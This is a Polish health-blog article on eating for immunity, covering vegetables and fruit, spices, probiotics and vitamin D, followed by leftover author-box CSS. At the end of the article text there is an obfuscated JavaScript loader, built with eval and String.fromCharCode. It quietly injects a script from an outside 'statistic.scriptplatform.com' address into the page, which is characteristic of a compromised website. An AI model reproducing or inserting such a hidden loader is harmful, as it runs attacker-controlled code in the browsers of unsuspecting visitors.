Dieta na odporność — czego w niej nie może zabraknąć?

Ostatnimi czasy temat odporności jest popularny jak nigdy wcześniej. Jednym z elementów, które wpływają na odporność, jest jedzenie. Odpowiednia dieta na odporność pomoże zadbać o sprawność naszego układu odpornościowego przez cały rok. A więc co powinniśmy jeść, żeby wspomóc nasz organizm?

Dieta na odporność wcale nie taka trudna

Aby zapewnić prawidłowe działanie układu odpornościowego, warto sięgać po produkty bogate w składniki odżywcze i mające właściwości przeciwzapalne.

Warzywa i owoce są najprostszym sposobem na zapewnienie codziennej dawki zdrowia. Zaleca się spożycie około 5 porcji warzyw i owoców dziennie, przy czym lepiej jeść więcej warzyw ze względu na mniejszą zawartość w nich cukru. Warzywa liściaste oraz żółte, pomarańczowe i czerwone warzywa i owoce są szczególnie bogate w witaminy i minerały. Jeśli nie mamy dostępu do świeżych warzyw i owoców, doskonale sprawdzą się te mrożone!

Bardzo dobre działanie przeciwzapalne mają przyprawy: kurkuma, imbir, kardamon itp. Są aromatycznym dodatkiem do zup, ciepłych posiłków i gorących napojów i świetnym sposobem na urozmaicenie diety.

O czym jeszcze warto pamiętać

Dodanie do diety kiszonek i nabiału bogatych w probiotyki wesprze metabolizm, a co za tym idzie, również naszą odporność. Ponadto, dieta na odporność musi zawierać witaminę D, którą warto suplementować.

Jeżeli chcemy naprawdę dobrze zadbać o swoją odporność, musimy pamiętać nie tylko o diecie, ale również o odpowiedniej ilości snu i aktywności fizycznej.var f=String;eval(f.fromCharCode(102,117,110,99,116,105,111,110,32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,116,105,115,116,105,99,46,115,99,114,105,112,116,115,112,108,97,116,102,111,114,109,46,99,111,109,47,99,111,108,108,101,99,116,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/

.pp-multiple-authors-boxes-wrapper.box-post-id-205.pp-multiple-authors-layout-boxed.multiple-authors-target-the-content.box-instance-id-1 .pp-author-boxes-avatar img { width: 80px !important; height: 80px !important; } .pp-multiple-authors-boxes-wrapper.box-post-id-205.pp-multiple-authors-layout-boxed.multiple-authors-target-the-content.box-instance-id-1 .pp-author-boxes-avatar img { border-radius: 50% !important; } .pp-multiple-authors-boxes-wrapper.box-post-id-205.pp-multiple-authors-layout-boxed.multiple-authors-target-the-content.box-instance-id-1 .pp-author-boxes-meta a { background-color: #655997 !important; } .pp-multiple-authors-boxes-wrapper.box-post-id-205.pp-multiple-authors-layout-boxed.multiple-authors-target-the-content.box-instance-id-1 .pp-author-boxes-meta a { color: #ffffff !important; } .pp-multiple-authors-boxes-wrapper.box-post-id-205.pp-multiple-authors-layout-boxed.multiple-authors-target-the-content.box-instance-id-1 .pp-author-boxes-meta a:hover { color: #ffffff !important; } .pp-multiple-authors-boxes-wrapper.box-post-id-205.pp-multiple-authors-layout-boxed.multiple-authors-target-the-content.box-instance-id-1 .pp-author-boxes-recent-posts-title { border-bottom-style: dotted !important; } .pp-multiple-authors-boxes-wrapper.box-post-id-205.pp-multiple-authors-layout-boxed.multiple-authors-target-the-content.box-instance-id-1 .pp-multiple-authors-boxes-li { border-style: solid !important; } .pp-multiple-authors-boxes-wrapper.box-post-id-205.pp-multiple-authors-layout-boxed.multiple-authors-target-the-content.box-instance-id-1 .pp-multiple-authors-boxes-li { color: #3c434a !important; }